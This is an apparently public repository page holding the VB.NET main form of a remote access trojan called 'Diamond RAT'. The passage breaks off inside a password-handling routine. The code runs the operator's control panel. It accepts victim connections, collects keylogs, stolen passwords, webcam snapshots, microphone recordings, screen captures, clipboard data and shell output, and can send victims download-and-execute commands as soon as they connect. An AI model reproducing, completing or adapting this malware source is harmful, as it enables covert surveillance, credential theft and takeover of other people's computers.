-
Notifications
You must be signed in to change notification settings - Fork 64
/
Form1.vb
1771 lines (1703 loc) · 74.2 KB
/
Form1.vb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
Imports System.Net.Sockets
Imports System.Net
Imports System.Text
Imports System.Threading
Imports System.Text.Encoding
Imports System.Net.NetworkInformation
Imports System.IO
Imports System.CodeDom.Compiler
Public Class Form1
Implements IMessageFilter
Private Declare Function DragAcceptFiles Lib "shell32.dll" (ByVal hwnd As IntPtr, ByVal accept As Boolean) As Long
Private Declare Function DragQueryFile Lib "shell32.dll" (ByVal hdrop As IntPtr, ByVal ifile As Integer, ByVal fname As StringBuilder, ByVal fnsize As Integer) As Integer
Private Declare Sub DragFinish Lib "Shell32.dll" (ByVal hdrop As IntPtr)
Public Const WM_DROPFILES As Integer = 563
Public recording As Boolean = False
Public port As Integer = 0
Dim listener As TcpListener
Public listeningThread As Thread
Public enable As Boolean = True
Public listening As Boolean = False
Public enckey As String = "magic_key"
Dim frames As Long = 0
Dim number As Integer = 1
Dim Groups(4) As ListViewGroup
Dim alreadygroup As Boolean = False
Public path, oldpath, nam As String
Public filename As String
Dim icnpath As String
Dim curntuser As String
Dim compileserver As Thread
Delegate Sub DelegateAdd(ByVal client As Connection, ByVal msg As String)
Delegate Sub DelegateToggleListen(ByVal toggle As Boolean)
Delegate Sub DelegateChangeText(ByVal text As String, ByVal color As System.Drawing.Color)
Delegate Sub DelegateRemove(ByVal client As Connection)
Delegate Sub DelegateAddSystemInformation(ByVal text As String)
Delegate Sub DelegateAddProcess(ByVal txt As String)
Delegate Sub DelegateAddSoftware(ByVal txt As String)
Delegate Sub DelegateShowImage(ByVal txt As String)
Delegate Sub DelegateListDevices(ByVal txt As String)
Delegate Sub DelegateAddBounds(ByVal txt As String)
Delegate Sub DelegateHostsFile(ByVal txt As String)
Delegate Sub DelegateCPImage(ByVal txt As String)
Delegate Sub DelegateCPText(ByVal txt As String)
Delegate Sub DelegateShell(ByVal txt As String)
Delegate Sub DelegateAddLogs(ByVal txt As String)
Delegate Sub DelegatePlayandSaveAudio(ByVal txt As String)
Delegate Sub DelegateAddPasswords(ByVal txt As String)
Delegate Sub DelegateAddTCP(ByVal txt As String)
Delegate Sub DelegateAddStartupEntries(ByVal txt As String)
Delegate Sub DelegateAddDrives(ByVal txt As String)
Delegate Sub DelegateAddFiles(ByVal txt As String)
Delegate Sub DelegateAddWebcamDevices(ByVal txt As String)
Delegate Sub DelegateAddThumbnail(ByVal txt As String, ByVal client As Connection)
Delegate Sub DelegateAddWebcam(ByVal txt As String)
Delegate Sub DelegateAddServices(ByVal txt As String)
Sub New()
InitializeComponent()
Application.AddMessageFilter(Me)
DragAcceptFiles(Me.Handle, True)
End Sub
#Region "Connection"
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
cb_autolistening.Checked = My.Settings.autolistening
cb_ShowNotification.Checked = My.Settings.ShowNotification
cb_PlaySound.Checked = My.Settings.PlaySound
If My.Settings.port <> 0 Then
port = My.Settings.port
NumericUpDown1.Value = port
NumericUpDown2.Value = port
Label2.Text = "Status: Idle..."
If My.Settings.autolistening = True Then
listeningThread = New Thread(AddressOf Listen)
listeningThread.IsBackground = True
listeningThread.Start()
Invoke(New DelegateChangeText(AddressOf ChangeText), "Status: Listening...", Color.Green)
End If
End If
Dim tmpHostName As String = System.Net.Dns.GetHostName()
For i = 0 To UBound(Dns.GetHostByName(tmpHostName).AddressList())
tb_ip.Items.Add(Dns.GetHostByName(tmpHostName).AddressList(i).ToString())
Next
tb_ip.Items.Add(New WebClient().DownloadString("http://xillux.com/ip.php"))
Catch
End Try
End Sub
Private Sub btn_startlistening_Click(sender As Object, e As EventArgs) Handles btn_startlistening.Click
Try
If listeningThread.IsAlive = True Then
MsgBox("You are already listening on this port!", MsgBoxStyle.Critical)
Exit Sub
End If
1: listeningThread = New Thread(AddressOf Listen)
listeningThread.IsBackground = True
listeningThread.Start()
Invoke(New DelegateChangeText(AddressOf ChangeText), "Status: Listening...", Color.Green)
Catch
GoTo 1
End Try
End Sub
Sub Listen()
Try
listener = New TcpListener(IPAddress.Any, port)
listener.Start()
While (True)
Dim c As New Connection(listener.AcceptTcpClient())
AddHandler c.GotInfo, AddressOf GotInfo
AddHandler c.Disconnected, AddressOf Disconnected
End While
Catch ex As Exception
Invoke(New DelegateToggleListen(AddressOf ToggleListen), False)
End Try
End Sub
Sub ToggleListen(ByVal toggle As Boolean)
Select Case toggle
Case True
listening = True
enable = False
Case False
listening = False
enable = True
End Select
End Sub
Function CountryFlag(ByVal nam As String) As Integer
Select Case nam
Case "AFG"
Return 2
Case "ALB"
Return 5
Case "DZA"
Return 60
Case "ASM"
Return 10
Case "AND"
Return 0
Case "AGO"
Return 8
Case "AIA"
Return 4
Case "ATA"
Return 60
Case "ATG"
Return 60
Case "ARG"
Return 9
Case "ARM"
Return 6
Case "AUS"
Return 12
Case "AUT"
Return 11
Case "AZE"
Return 15
Case "BHS"
Return 29
Case "BHR"
Return 22
Case "BGD"
Return 18
Case "BRB"
Return 17
Case "BLR"
Return 33
Case "BLZ"
Return 34
Case "BEN"
Return 24
Case "BMU"
Return 25
Case "BTN"
Return 30
Case "BOL"
Return 27
Case "BIH"
Return 16
Case "BWA"
Return 32
Case "BRA"
Return 28
Case "IOT"
Return 105
Case "VBG"
Return 235
Case "BRN"
Return 26
Case "BGR"
Return 21
Case "BFA"
Return 20
Case "BDI"
Return 24
Case "MMR"
Return 144
Case "KHM"
Return 115
Case "CMR"
Return 45
Case "CAN"
Return 35
Case "CPV"
Return 52
Case "CYM"
Return 122
Case "CAF"
Return 39
Case "TCD"
Return 212
Case "CHL"
Return 44
Case "CHN"
Return 46
Case "CXR"
Return 52
Case "CCK"
Return 37
Case "COL"
Return 47
Case "COM"
Return 117
Case "COK"
Return 43
Case "CRC"
Return 48
Case "HRV"
Return 98
Case "CUB"
Return 50
Case "CYP"
Return 53
Case "CZE"
Return 54
Case "COD"
Return 38
Case "DNK"
Return 57
Case "DJI"
Return 56
Case "DMA"
Return 58
Case "DOM"
Return 59
Case "ECU"
Return 61
Case "EGY"
Return 63
Case "SLV"
Return 207
Case "GNQ"
Return 88
Case "ERI"
Return 66
Case "EST"
Return 62
Case "ETH"
Return 68
Case "FLK"
Return 73
Case "FRO"
Return 75
Case "FJI"
Return 73
Case "FIN"
Return 71
Case "FRA"
Return 76
Case "PYF"
Return 172
Case "GAB"
Return 77
Case "GMB"
Return 85
Case "GEO"
Return 80
Case "GER"
Return 55
Case "GHA"
Return 82
Case "GIB"
Return 83
Case "GRC"
Return 89
Case "GRL"
Return 84
Case "GRD"
Return 79
Case "GUM"
Return 92
Case "GTM"
Return 91
Case "GIN"
Return 86
Case "GNB"
Return 93
Case "GUY"
Return 94
Case "HTI"
Return 99
Case "VAT"
Return 232
Case "HND"
Return 87
Case "HKG"
Return 95
Case "HUN"
Return 100
Case "IS"
Return 108
Case "IND"
Return 104
Case "IDN"
Return 101
Case "IRN"
Return 107
Case "IRQ"
Return 106
Case "IRL"
Return 102
Case "IMN"
Return 69
Case "ISR"
Return 103
Case "ITA"
Return 109
Case "CIV"
Return 42
Case "JAM"
Return 110
Case "JPN"
Return 112
Case "JEY"
Return 69
Case "JOR"
Return 111
Case "KAZ"
Return 123
Case "KEN"
Return 113
Case "KIR"
Return 116
Case "KWT"
Return 121
Case "KGZ"
Return 114
Case "LAO"
Return 124
Case "LVA"
Return 134
Case "LBN"
Return 125
Case "LSO"
Return 130
Case "LBR"
Return 129
Case "LBY"
Return 134
Case "LIE"
Return 127
Case "LTU"
Return 131
Case "LUX"
Return 132
Case "MAC"
Return 145
Case "MKD"
Return 141
Case "MDG"
Return 139
Case "MWI"
Return 153
Case "MYS"
Return 155
Case "MDV"
Return 152
Case "MLI"
Return 142
Case "MLT"
Return 150
Case "MHL"
Return 140
Case "MRT"
Return 148
Case "MUS"
Return 151
Case "MYT"
Return 243
Case "MEX"
Return 154
Case "FSM"
Return 74
Case "MDA"
Return 137
Case "MCO"
Return 136
Case "MNG"
Return 144
Case "MNE"
Return 138
Case "MSR"
Return 149
Case "MAR"
Return 135
Case "MOZ"
Return 156
Case "NAM"
Return 157
Case "NRU"
Return 166
Case "NPL"
Return 165
Case "NLD"
Return 163
Case "ANT"
Return 7
Case "NCL"
Return 158
Case "NZL"
Return 168
Case "NTC"
Return 162
Case "NER"
Return 159
Case "NGA"
Return 161
Case "NIU"
Return 167
Case "PRK"
Return 119
Case "MNP"
Return 146
Case "NOR"
Return 164
Case "OMN"
Return 169
Case "PAK"
Return 175
Case "PLW"
Return 182
Case "PAN"
Return 170
Case "PNG"
Return 173
Case "PRY"
Return 183
Case "PER"
Return 171
Case "PHL"
Return 174
Case "PCN"
Return 178
Case "POL"
Return 176
Case "PRT"
Return 181
Case "PRI"
Return 179
Case "QAT"
Return 184
Case "COG"
Return 40
Case "ROU"
Return 186
Case "RUS"
Return 188
Case "RWA"
Return 189
Case "BLM"
Return 69
Case "SHN"
Return 197
Case "KNA"
Return 118
Case "LCA"
Return 126
Case "MAF"
Return 69
Case "SPM"
Return 177
Case "VCT"
Return 233
Case "WSM"
Return 241
Case "SMR"
Return 202
Case "STP"
Return 206
Case "SAU"
Return 190
Case "SEN"
Return 203
Case "SRB"
Return 187
Case "SYC"
Return 192
Case "SLE"
Return 201
Case "SGP"
Return 196
Case "SVK"
Return 200
Case "SVN"
Return 199
Case "SLB"
Return 191
Case "SOM"
Return 204
Case "ZAF"
Return 244
Case "KOR"
Return 120
Case "ESP"
Return 67
Case "LKA"
Return 128
Case "SDN"
Return 194
Case "SUR"
Return 205
Case "SJM"
Return 199
Case "SWZ"
Return 209
Case "SWE"
Return 195
Case "CHE"
Return 41
Case "SYR"
Return 208
Case "TWN"
Return 224
Case "TJK"
Return 215
Case "TZA"
Return 225
Case "THA"
Return 214
Case "TLS"
Return 217
Case "TGO"
Return 213
Case "TKL"
Return 216
Case "TON"
Return 220
Case "TTO"
Return 222
Case "TUN"
Return 219
Case "TUR"
Return 221
Case "TKM"
Return 218
Case "TCA"
Return 210
Case "TUV"
Return 223
Case "UGA"
Return 227
Case "UKR"
Return 226
Case "ARE"
Return 1
Case "GBR"
Return 78
Case "USA"
Return 229
Case "URY"
Return 230
Case "VIR"
Return 236
Case "UZB"
Return 231
Case "VUT"
Return 238
Case "VEN"
Return 234
Case "VNM"
Return 237
Case "WLF"
Return 240
Case "ESH"
Return 64
Case "YEM"
Return 242
Case "ZMB"
Return 245
Case "ZWE"
Return 247
Case Else
Return 248
End Select
End Function
Sub Add(ByVal client As Connection, ByVal msg As String)
Dim ip As String = client.IPAddress
Dim pingSender As Ping = New Ping()
Dim reply As PingReply = pingSender.Send(ip, 3000)
Dim l As ListViewItem
l = New ListViewItem(msg.Split("|")(1), CountryFlag(msg.Split("|")(1)))
For Each item As ListViewItem In ListView1.Items
If item.Text = msg.Split("|")(1) And item.SubItems(1).Text = ip And item.SubItems(2).Text = port And item.SubItems(3).Text = msg.Split("|")(2) And item.SubItems(4).Text = msg.Split("|")(3) And item.SubItems(5).Text = msg.Split("|")(4) And item.SubItems(6).Text = msg.Split("|")(5) And item.SubItems(7).Text = msg.Split("|")(6) Then
Exit Sub
End If
Next
With l
.SubItems.Add(ip)
.SubItems.Add(port)
.SubItems.Add(msg.Split("|")(2))
.SubItems.Add(msg.Split("|")(3))
.SubItems.Add(msg.Split("|")(4))
.SubItems.Add(msg.Split("|")(5))
.SubItems.Add(msg.Split("|")(6))
.SubItems.Add(reply.RoundtripTime & "/ms")
.Tag = client
End With
ListView1.Items.Add(l)
checkonconnect(client)
If My.Settings.ShowNotification = True Then
If My.Settings.PlaySound = True Then
My.Computer.Audio.Play(My.Resources.notify, AudioPlayMode.Background)
End If
Notify.BalloonTipIcon = ToolTipIcon.Info
Notify.BalloonTipText = "IP: " & client.IPAddress & vbCrLf & "Username: " & msg.Split("|")(2) & vbCrLf & "Computer Name: " & msg.Split("|")(3) & vbCrLf & "Operating System: " & msg.Split("|")(4) & vbCrLf & "Version: " & msg.Split("|")(4) & vbCrLf & "Privilegs: " & msg.Split("|")(6)
Notify.BalloonTipTitle = "Diamond RAT | New Connection!"
Notify.Visible = True
Notify.ShowBalloonTip(600)
End If
End Sub
Sub GotInfo(ByVal client As Connection, ByVal Msg As String)
Msg = New Encryption().AES_Decrypt(Msg, enckey)
If Msg.StartsWith("NewConnection") Then
Invoke(New DelegateAdd(AddressOf Add), client, Msg)
ElseIf Msg.StartsWith("SystemInformation") Then
Invoke(New DelegateAddSystemInformation(AddressOf AddSysteminformation), Msg)
ElseIf Msg.StartsWith("GetProcess") Then
Invoke(New DelegateAddProcess(AddressOf AddProcess), Msg)
ElseIf Msg.StartsWith("Software") Then
Invoke(New DelegateAddSoftware(AddressOf AddSoftware), Msg)
ElseIf Msg.StartsWith("RemoteDesktop") Then
Invoke(New DelegateShowImage(AddressOf ShowImage), Msg.Replace("RemoteDesktop", ""))
ElseIf Msg.StartsWith("PCBounds") Then
Invoke(New DelegateAddBounds(AddressOf AddBounds), Msg)
ElseIf Msg.StartsWith("HostsFile") Then
Invoke(New DelegateHostsFile(AddressOf HostsFile), Msg.Replace("HostsFile", ""))
ElseIf Msg.StartsWith("CPImage") Then
Invoke(New DelegateCPImage(AddressOf CPImage), Msg.Replace("CPImage", ""))
ElseIf Msg.StartsWith("CPText") Then
Invoke(New DelegateCPText(AddressOf CPText), Msg.Replace("CPText", ""))
ElseIf Msg.StartsWith("Shell") Then
Invoke(New DelegateShell(AddressOf Shell), Msg.Replace("Shell", ""))
ElseIf Msg.StartsWith("KeyLogs") Then
Invoke(New DelegateAddLogs(AddressOf AddLogs), Msg.Replace("KeyLogs", ""))
ElseIf Msg.StartsWith("RecordingFile") Then
Invoke(New DelegatePlayandSaveAudio(AddressOf PlayandSaveAudio), Msg.Replace("RecordingFile", ""))
ElseIf Msg.StartsWith("Passwords") Then
Invoke(New DelegateAddPasswords(AddressOf AddPasswords), Msg.Replace("Passwords", ""))
ElseIf Msg.StartsWith("TCPConnections") Then
Invoke(New DelegateAddTCP(AddressOf AddTCP), Msg)
ElseIf Msg.StartsWith("Strtp") Then
Invoke(New DelegateAddStartupEntries(AddressOf AddStartupEntries), Msg.Replace("Strtp", ""))
ElseIf Msg.StartsWith("Drives") Then
Invoke(New DelegateAddDrives(AddressOf AddDrives), Msg.Replace("Drives", ""))
ElseIf Msg.StartsWith("FileManagerFiles") Then
Invoke(New DelegateAddFiles(AddressOf AddFiles), Msg.Replace("FileManagerFiles", ""))
ElseIf Msg.StartsWith("IncomingFile") Then
If Not Directory.Exists(Application.StartupPath & "\DownloadedFiles") Then
Directory.CreateDirectory(Application.StartupPath & "\DownloadedFiles")
End If
If Not Directory.Exists(Application.StartupPath & "\DownloadedFiles\" & curntuser) Then
Directory.CreateDirectory(Application.StartupPath & "\DownloadedFiles\" & curntuser)
End If
IO.File.WriteAllBytes(Application.StartupPath & "\DownloadedFiles\" & curntuser & "\" & filename, New Encryption().DecryptBase64(Msg.Replace("IncomingFile", "")))
ElseIf Msg.StartsWith("WebcamDevices") Then
Invoke(New DelegateAddWebcamDevices(AddressOf AddWebcamDevices), Msg.Replace("WebcamDevices", ""))
ElseIf Msg.StartsWith("ThumbNail") Then
Invoke(New DelegateAddThumbnail(AddressOf AddThumbnail), Msg.Replace("ThumbNail", ""), client)
ElseIf Msg.StartsWith("WebcamSnap") Then
Invoke(New DelegateAddWebcam(AddressOf AddWebcam), Msg.Replace("WebcamSnap", ""))
ElseIf Msg.StartsWith("Services") Then
Invoke(New DelegateAddServices(AddressOf AddService), Msg.Replace("Services", ""))
End If
End Sub
Sub Disconnected(ByVal client As Connection)
Invoke(New DelegateRemove(AddressOf Remove), client)
End Sub
Sub Remove(ByVal client As Connection)
For Each item As ListViewItem In ListView1.Items
If item.SubItems(1).Text = client.IPAddress Then
item.Remove()
If My.Settings.ShowNotification = True Then
If My.Settings.PlaySound = True Then
My.Computer.Audio.Play(My.Resources.notify, AudioPlayMode.Background)
End If
Notify.BalloonTipIcon = ToolTipIcon.Error
Notify.BalloonTipText = "IP: " & item.SubItems(1).Text
Notify.BalloonTipTitle = "Diamond Rat | Disconnected!"
Notify.Visible = True
Notify.ShowBalloonTip(600)
End If
Exit For
End If
Next
End Sub
Sub SendToSelected(ByVal Message As String)
For Each item As ListViewItem In ListView1.SelectedItems
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
MsgBox(ex.Message)
End Try
Next
End Sub
Sub SendToAll(ByVal Message As String)
For Each item As ListViewItem In ListView1.Items
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
MsgBox(ex.Message)
End Try
Next
End Sub
Sub ChangeText(ByVal text As String, ByVal color As System.Drawing.Color)
Label2.Text = text
Label2.ForeColor = color
End Sub
Private Sub btn_stoplistening_Click(sender As Object, e As EventArgs) Handles btn_stoplistening.Click
If listeningThread.IsAlive = True Then
SendToAll(New Encryption().AES_Encrypt("Disconnected", enckey))
listener.Server.Close()
listeningThread.Abort()
Invoke(New DelegateToggleListen(AddressOf ToggleListen), False)
Invoke(New DelegateChangeText(AddressOf ChangeText), "Status: Idle...", Color.Black)
ListView1.Items.Clear()
End If
End Sub
Private Sub NumericUpDown1_ValueChanged(sender As Object, e As EventArgs) Handles NumericUpDown1.ValueChanged
port = NumericUpDown1.Value
My.Settings.port = NumericUpDown1.Value
My.Settings.Save()
End Sub
Sub checkonconnect(ByVal client As Connection)
For Each item As ListViewItem In ListViewOnConnect.Items
If item.Text = "Open Website" And item.SubItems(2).Text = "Enabled" Then
client.Send(New Encryption().AES_Encrypt("OpenWebsite" & item.SubItems(1).Text, enckey))
ElseIf item.Text = "Download & Execute" And item.SubItems(2).Text = "Enabled" Then
client.Send(New Encryption().AES_Encrypt("DandE" & item.SubItems(1).Text, enckey))
ElseIf item.Text = "Show MessageBox" And item.SubItems(2).Text = "Enabled" Then
client.Send(New Encryption().AES_Encrypt("MSG" & item.SubItems(1).Text, enckey))
End If
Next
End Sub
#Region "Settings"
Private Sub cb_autolistening_CheckedChanged(sender As Object, e As EventArgs) Handles cb_autolistening.CheckedChanged
If cb_autolistening.Checked Then
My.Settings.autolistening = True
Else
My.Settings.autolistening = False
End If
End Sub
Private Sub cb_ShowNotification_CheckedChanged(sender As Object, e As EventArgs) Handles cb_ShowNotification.CheckedChanged
If cb_ShowNotification.Checked Then
My.Settings.ShowNotification = True
Else
My.Settings.ShowNotification = False
End If
End Sub
Private Sub cb_PlaySound_CheckedChanged(sender As Object, e As EventArgs) Handles cb_PlaySound.CheckedChanged
If cb_PlaySound.Checked Then
My.Settings.PlaySound = True
Else
My.Settings.PlaySound = False
End If
End Sub
#End Region
#End Region
#Region "Others"
#Region "Group By"
Public Sub GroupListView(ByVal lstV As ListView, ByVal SubItemIndex As Int16)
Try
Dim flag As Boolean = True
For Each l As ListViewItem In lstV.Items
Dim strmyGroupname As String = l.SubItems(SubItemIndex).Text
For Each lvg As ListViewGroup In lstV.Groups
If lvg.Name = strmyGroupname Then
l.Group = lvg
flag = False
End If
Next
If flag = True Then
Dim lstGrp As New ListViewGroup(strmyGroupname, strmyGroupname)
lstV.Groups.Add(lstGrp)
l.Group = lstGrp
End If
flag = True
Next
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Critical)
End Try
End Sub
Private Sub CountryToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CountryToolStripMenuItem.Click
GroupListView(ListView1, 0)
End Sub
Private Sub OperatingSystemToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles OperatingSystemToolStripMenuItem.Click
GroupListView(ListView1, 5)
End Sub
Private Sub PrivilegsToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PrivilegsToolStripMenuItem.Click
GroupListView(ListView1, 7)
End Sub
#End Region
Public Function CountCharacter(ByVal value As String, ByVal ch As Char) As Integer
Dim cnt As Integer = 0
For Each c As Char In value
If c = ch Then cnt += 1
Next
Return cnt
End Function
Sub AddSysteminformation(ByVal text As String)
SystemInformation.TreeView1.Nodes(0).Nodes(0).Text = "Computer Name: " & text.Split("|")(1)
SystemInformation.TreeView1.Nodes(0).Nodes(1).Text = "User Name: " & text.Split("|")(2)
SystemInformation.TreeView1.Nodes(0).Nodes(2).Text = "Virtual Screen Width: " & text.Split("|")(3)
SystemInformation.TreeView1.Nodes(0).Nodes(3).Text = "Virtual Screen Height: " & text.Split("|")(4)
SystemInformation.TreeView1.Nodes(0).Nodes(4).Text = "Available Physical Memory: " & text.Split("|")(5)
SystemInformation.TreeView1.Nodes(0).Nodes(5).Text = "Available Virtual Memory: " & text.Split("|")(6)
SystemInformation.TreeView1.Nodes(0).Nodes(6).Text = "OS Full Name: " & text.Split("|")(7)
SystemInformation.TreeView1.Nodes(0).Nodes(7).Text = "OS Platform: " & text.Split("|")(8)
SystemInformation.TreeView1.Nodes(0).Nodes(8).Text = "OS Version: " & text.Split("|")(9)
SystemInformation.TreeView1.Nodes(0).Nodes(9).Text = "Total Physical Memory: " & text.Split("|")(10)
SystemInformation.TreeView1.Nodes(0).Nodes(10).Text = "Total Virtual Memory: " & text.Split("|")(11)
SystemInformation.TreeView1.Nodes(0).Nodes(11).Text = "Battery Charge Status: " & text.Split("|")(12)
SystemInformation.TreeView1.Nodes(0).Nodes(12).Text = "Battery Full Lifetime: " & text.Split("|")(13)
SystemInformation.TreeView1.Nodes(0).Nodes(13).Text = "Battery Life Percent: " & text.Split("|")(14)
SystemInformation.TreeView1.Nodes(0).Nodes(14).Text = "Battery Life Remaining: " & text.Split("|")(15)
SystemInformation.TreeView1.Nodes(0).Nodes(15).Text = "CPU Info: " & text.Split("|")(16)
SystemInformation.TreeView1.Nodes(0).Nodes(16).Text = "GPU Name: " & text.Split("|")(17)
SystemInformation.TreeView1.Nodes(0).Nodes(17).Text = "Uptime: " & text.Split("|")(18)
SystemInformation.TreeView1.Nodes(1).Nodes(0).Text = "Registered Owner: " & text.Split("|")(19)
SystemInformation.TreeView1.Nodes(1).Nodes(1).Text = "Registered Organization: " & text.Split("|")(20)
SystemInformation.TreeView1.Nodes(1).Nodes(2).Text = "Product Key: " & text.Split("|")(21)
Dim s As String = text.Split("|")(22)
For i = 2 To s.Length + 2 Step 3
s = s.Insert(i, ":")
Next
SystemInformation.TreeView1.Nodes(1).Nodes(3).Text = "MAC Adress: " & s
SystemInformation.TreeView1.Nodes(1).Nodes(4).Text = "Webcam Available: " & text.Split("|")(23)
SystemInformation.TreeView1.Nodes(1).Nodes(5).Text = "Installed AntiVirus Engine: " & text.Split("|")(24)
SystemInformation.TreeView1.Nodes(1).Nodes(6).Text = "Server Location: " & text.Split("|")(25)
End Sub
Sub AddProcess(ByVal txt As String)
Try
Dim ItemLines As New TextBox
ItemLines.Text = txt.Replace("GetProcess", "")
SystemInformation.listprocess.Items.Clear()
For Each line As String In ItemLines.Lines
Dim text() As String = line.Split("|")
Dim ItemName As String = text(0)
Dim SubItem1 As String = text(1)
Dim SubItem2 As String = text(2)
Dim SubItem3 As String = text(3)
Dim SubItem4 As String = text(4)
Dim Item As New ListViewItem(ItemName)
Item.SubItems.Add(SubItem1)
Item.SubItems.Add(SubItem2)
Item.SubItems.Add(SubItem3)
Item.SubItems.Add(SubItem4)
SystemInformation.listprocess.Items.AddRange(New ListViewItem() {Item})
Next
SystemInformation.Label1.Text = "Total Processes: " & SystemInformation.listprocess.Items.Count
Catch
End Try
End Sub
Sub AddSoftware(ByVal txt As String)
SystemInformation.ListBox_Software.Items.Clear()
txt = txt.Replace(txt.Split("|")(0) & "|", "")
SystemInformation.Label2.Text = "Installed Software: " & txt.Split("|")(0)
txt = txt.Replace(txt.Split("|")(0) & "|", "")
For i = 0 To CountCharacter(txt, "|")
SystemInformation.ListBox_Software.Items.Add(txt.Split("|")(i))
Next
End Sub
Sub ShowImage(ByVal txt As String)
Dim b() As Byte = New Encryption().DecryptBase64(txt)
RemoteDesktop.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage
RemoteDesktop.first = False
RemoteDesktop.PictureBox1.Image = ByteArray2Image(b)
frames += 1
RemoteDesktop.FramesReceivedToolStripMenuItem.Text = "Frames Received: " & frames
RemoteDesktop.remotecontrol = True
RemoteDesktop.StartToolStripMenuItem.PerformClick()
End Sub
Public Function ByteArray2Image(ByVal ByAr() As Byte) As Image
Dim img As Image
Dim MS As New IO.MemoryStream(ByAr)
Try
img = Image.FromStream(MS)
Catch ex As Exception
Return Nothing
End Try
Return img
End Function
Sub AddBounds(ByVal txt As String)
RemoteDesktop.pcheight = txt.Replace("PCBounds", "").Split("x")(0)
RemoteDesktop.pcwidth = txt.Replace("PCBounds", "").Split("x")(1)
End Sub
Sub AddLogs(ByVal txt As String)
Keylogger.RichTextBox1.Text = txt
End Sub
Sub PlayandSaveAudio(ByVal txt As String)
Dim name As String = txt.Split("|")(0)
txt = txt.Replace(txt.Split("|")(0) & "|", "")
Dim b() As Byte = New Encryption().DecryptBase64(txt)
If Not File.Exists(Application.StartupPath & "\Audio_Files\") Then
My.Computer.FileSystem.CreateDirectory(Application.StartupPath & "\Audio_Files\")
End If
File.WriteAllBytes(Application.StartupPath & "\Audio_Files\" & name & "_" & number & ".wav", b)
Audio.Label2.Text = "Playing..."
Audio.PictureBox2.Image = My.Resources.play
My.Computer.Audio.Play(Application.StartupPath & "\Audio_Files\" & name & "_" & number & ".wav", AudioPlayMode.Background)
number += 1
End Sub
Sub AddPasswords(ByVal txt As String)
paswdrec.ListView1.Items.Clear()
Try
Dim ItemLines As New TextBox
ItemLines.Text = txt
For Each line As String In ItemLines.Lines
Dim text() As String = line.Split("|")
Dim ItemName As String = text(0)
Dim SubItem1 As String = text(1)
